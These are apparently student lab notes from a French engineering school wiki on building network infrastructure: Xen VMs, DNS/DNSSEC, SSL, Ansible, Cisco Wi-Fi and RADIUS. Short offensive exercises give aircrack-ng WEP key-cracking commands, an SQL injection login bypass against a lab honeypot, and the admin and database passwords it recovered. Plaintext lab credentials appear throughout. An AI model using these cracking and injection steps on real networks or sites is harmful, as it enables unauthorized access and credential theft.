pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;dock&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54984</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54984"/>
				<updated>2020-12-18T18:53:56Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
